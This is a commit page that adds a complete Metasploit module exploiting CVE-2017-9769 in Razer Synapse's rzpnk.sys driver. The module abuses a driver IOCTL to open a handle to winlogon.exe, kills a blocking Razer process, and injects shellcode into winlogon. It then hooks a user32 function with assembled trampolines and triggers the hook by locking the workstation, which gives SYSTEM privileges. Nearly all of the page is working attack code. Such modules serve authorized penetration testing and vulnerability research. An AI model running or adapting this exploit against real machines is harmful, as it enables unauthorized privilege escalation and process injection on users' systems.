Land #8723, Razr Synapse local exploit
lands ZeroSteiner's Razr Synapse local priv esc modulebug/bundler_fix 4.15.1
commit
2a1c661c79
|
@ -0,0 +1,260 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/exploit/local/windows_kernel'
|
||||
require 'rex'
|
||||
require 'metasm'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Local::WindowsKernel
|
||||
include Msf::Post::Windows::Priv
|
||||
|
||||
# the max size our hook can be, used before it's generated for the allocation
|
||||
HOOK_STUB_MAX_LENGTH = 256
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Razer Synapse rzpnk.sys ZwOpenProcess',
|
||||
'Description' => %q{
|
||||
A vulnerability exists in the latest version of Razer Synapse
|
||||
(v2.20.15.1104 as of the day of disclosure) which can be leveraged
|
||||
locally by a malicious application to elevate its privileges to those of
|
||||
NT_AUTHORITY\SYSTEM. The vulnerability lies in a specific IOCTL handler
|
||||
in the rzpnk.sys driver that passes a PID specified by the user to
|
||||
ZwOpenProcess. This can be issued by an application to open a handle to
|
||||
an arbitrary process with the necessary privileges to allocate, read and
|
||||
write memory in the specified process.
|
||||
|
||||
This exploit leverages this vulnerability to open a handle to the
|
||||
winlogon process (which runs as NT_AUTHORITY\SYSTEM) and infect it by
|
||||
installing a hook to execute attacker controlled shellcode. This hook is
|
||||
then triggered on demand by calling user32!LockWorkStation(), resulting
|
||||
in the attacker's payload being executed with the privileges of the
|
||||
infected winlogon process. In order for the issued IOCTL to work, the
|
||||
RazerIngameEngine.exe process must not be running. This exploit will
|
||||
check if it is, and attempt to kill it as necessary.
|
||||
|
||||
The vulnerable software can be found here:
|
||||
https://www.razerzone.com/synapse/. No Razer hardware needs to be
|
||||
connected in order to leverage this vulnerability.
|
||||
|
||||
This exploit is not opsec-safe due to the user being logged out as part
|
||||
of the exploitation process.
|
||||
},
|
||||
'Author' => 'Spencer McIntyre',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2017-9769'],
|
||||
['URL', 'https://warroom.securestate.com/cve-2017-9769/']
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
# Tested on (64 bits):
|
||||
# * Windows 7 SP1
|
||||
# * Windows 10.0.10586
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
'WfsDelay' => 20
|
||||
},
|
||||
'DefaultTarget' => 0,
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => 'Mar 22 2017'))
|
||||
end
|
||||
|
||||
def check
|
||||
# Validate that the driver has been loaded and that
|
||||
# the version is the same as the one expected
|
||||
client.sys.config.getdrivers.each do |d|
|
||||
if d[:basename].downcase == 'rzpnk.sys'
|
||||
expected_checksum = 'b4598c05d5440250633e25933fff42b0'
|
||||
target_checksum = client.fs.file.md5(d[:filename])
|
||||
|
||||
if expected_checksum == Rex::Text.to_hex(target_checksum, '')
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
if is_system?
|
||||
fail_with(Failure::None, 'Session is already elevated')
|
||||
end
|
||||
|
||||
if check == Exploit::CheckCode::Safe
|
||||
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
|
||||
end
|
||||
|
||||
if session.platform != 'windows'
|
||||
fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session')
|
||||
elsif session.arch != ARCH_X64
|
||||
fail_with(Failure::NoTarget, 'This exploit only supports x64 Windows targets')
|
||||
end
|
||||
|
||||
pid = session.sys.process['RazerIngameEngine.exe']
|
||||
if pid
|
||||
# if this process is running, the IOCTL won't work but the process runs
|
||||
# with user privileges so we can kill it
|
||||
print_status("Found RazerIngameEngine.exe pid: #{pid}, killing it...")
|
||||
session.sys.process.kill(pid)
|
||||
end
|
||||
|
||||
pid = session.sys.process['winlogon.exe']
|
||||
print_status("Found winlogon pid: #{pid}")
|
||||
|
||||
handle = get_handle(pid)
|
||||
fail_with(Failure::NotVulnerable, 'Failed to open the process handle') if handle.nil?
|
||||
vprint_status('Successfully opened a handle to the winlogon process')
|
||||
|
||||
winlogon = session.sys.process.new(pid, handle)
|
||||
allocation_size = payload.encoded.length + HOOK_STUB_MAX_LENGTH
|
||||
shellcode_address = winlogon.memory.allocate(allocation_size)
|
||||
winlogon.memory.protect(shellcode_address)
|
||||
print_good("Allocated #{allocation_size} bytes in winlogon at 0x#{shellcode_address.to_s(16)}")
|
||||
winlogon.memory.write(shellcode_address, payload.encoded)
|
||||
hook_stub_address = shellcode_address + payload.encoded.length
|
||||
|
||||
result = session.railgun.kernel32.LoadLibraryA('user32')
|
||||
fail_with(Failure::Unknown, 'Failed to get a handle to user32.dll') if result['return'] == 0
|
||||
user32_handle = result['return']
|
||||
|
||||
# resolve and backup the functions that we'll install trampolines in
|
||||
user32_trampolines = {} # address => original chunk
|
||||
user32_functions = ['LockWindowStation']
|
||||
user32_functions.each do |function|
|
||||
address = get_address(user32_handle, function)
|
||||
winlogon.memory.protect(address)
|
||||
user32_trampolines[function] = {
|
||||
address: address,
|
||||
original: winlogon.memory.read(address, 24)
|
||||
}
|
||||
end
|
||||
|
||||
# generate and install the hook asm
|
||||
hook_stub = get_hook(shellcode_address, user32_trampolines)
|
||||
fail_with(Failure::Unknown, 'Failed to generate the hook stub') if hook_stub.nil?
|
||||
# if this happens, there was a programming error
|
||||
fail_with(Failure::Unknown, 'The hook stub is too large, please update HOOK_STUB_MAX_LENGTH') if hook_stub.length > HOOK_STUB_MAX_LENGTH
|
||||
|
||||
winlogon.memory.write(hook_stub_address, hook_stub)
|
||||
vprint_status("Wrote the #{hook_stub.length} byte hook stub in winlogon at 0x#{hook_stub_address.to_s(16)}")
|
||||
|
||||
# install the asm trampolines to jump to the hook
|
||||
user32_trampolines.each do |function, trampoline_info|
|
||||
address = trampoline_info[:address]
|
||||
trampoline = Metasm::Shellcode.assemble(Metasm::X86_64.new, %{
|
||||
mov rax, 0x#{address.to_s(16)}
|
||||
push rax
|
||||
mov rax, 0x#{hook_stub_address.to_s(16)}
|
||||
jmp rax
|
||||
}).encode_string
|
||||
winlogon.memory.write(address, trampoline)
|
||||
vprint_status("Installed user32!#{function} trampoline at 0x#{address.to_s(16)}")
|
||||
end
|
||||
|
||||
session.railgun.user32.LockWorkStation()
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
end
|
||||
|
||||
def get_address(dll_handle, function_name)
|
||||
result = session.railgun.kernel32.GetProcAddress(dll_handle, function_name)
|
||||
fail_with(Failure::Unknown, 'Failed to get function address') if result['return'] == 0
|
||||
result['return']
|
||||
end
|
||||
|
||||
# this is where the actual vulnerability is leveraged
|
||||
def get_handle(pid)
|
||||
handle = open_device("\\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
|
||||
return nil unless handle
|
||||
vprint_status('Successfully opened a handle to the driver')
|
||||
|
||||
buffer = [pid, 0].pack(target.arch.first == ARCH_X64 ? 'QQ' : 'LL')
|
||||
|
||||
session.railgun.add_function('ntdll', 'NtDeviceIoControlFile', 'DWORD',[
|
||||
['DWORD', 'FileHandle', 'in' ],
|
||||
['DWORD', 'Event', 'in' ],
|
||||
['LPVOID', 'ApcRoutine', 'in' ],
|
||||
['LPVOID', 'ApcContext', 'in' ],
|
||||
['PDWORD', 'IoStatusBlock', 'out'],
|
||||
['DWORD', 'IoControlCode', 'in' ],
|
||||
['PBLOB', 'InputBuffer', 'in' ],
|
||||
['DWORD', 'InputBufferLength', 'in' ],
|
||||
['PBLOB', 'OutputBuffer', 'out'],
|
||||
['DWORD', 'OutputBufferLength', 'in' ],
|
||||
])
|
||||
result = session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a050, buffer, buffer.length, buffer.length, buffer.length)
|
||||
return nil if result['return'] != 0
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
|
||||
result['OutputBuffer'].unpack(target.arch.first == ARCH_X64 ? 'QQ' : 'LL')[1]
|
||||
end
|
||||
|
||||
def get_hook(shellcode_address, restore)
|
||||
dll_handle = session.railgun.kernel32.GetModuleHandleA('kernel32')['return']
|
||||
return nil if dll_handle == 0
|
||||
create_thread_address = get_address(dll_handle, 'CreateThread')
|
||||
|
||||
stub = %{
|
||||
call main
|
||||
; restore the functions where the trampolines were installed
|
||||
push rbx
|
||||
}
|
||||
|
||||
restore.each do |function, trampoline_info|
|
||||
original = trampoline_info[:original].unpack('Q*')
|
||||
stub << "mov rax, 0x#{trampoline_info[:address].to_s(16)}"
|
||||
original.each do |chunk|
|
||||
stub << %{
|
||||
mov rbx, 0x#{chunk.to_s(16)}
|
||||
mov qword ptr ds:[rax], rbx
|
||||
add rax, 8
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
stub << %{
|
||||
pop rbx
|
||||
ret
|
||||
|
||||
main:
|
||||
; backup registers we're going to mangle
|
||||
push r9
|
||||
push r8
|
||||
push rdx
|
||||
push rcx
|
||||
|
||||
; setup the arguments for the call to CreateThread
|
||||
xor rax, rax
|
||||
push rax ; lpThreadId
|
||||
push rax ; dwCreationFlags
|
||||
xor r9, r9 ; lpParameter
|
||||
mov r8, 0x#{shellcode_address.to_s(16)} ; lpStartAddress
|
||||
xor rdx, rdx ; dwStackSize
|
||||
xor rcx, rcx ; lpThreadAttributes
|
||||
mov rax, 0x#{create_thread_address.to_s(16)} ; &CreateThread
|
||||
|
||||
call rax
|
||||
add rsp, 16
|
||||
|
||||
; restore arguments that were mangled
|
||||
pop rcx
|
||||
pop rdx
|
||||
pop r8
|
||||
pop r9
|
||||
ret
|
||||
}
|
||||
Metasm::Shellcode.assemble(Metasm::X86_64.new, stub).encode_string
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue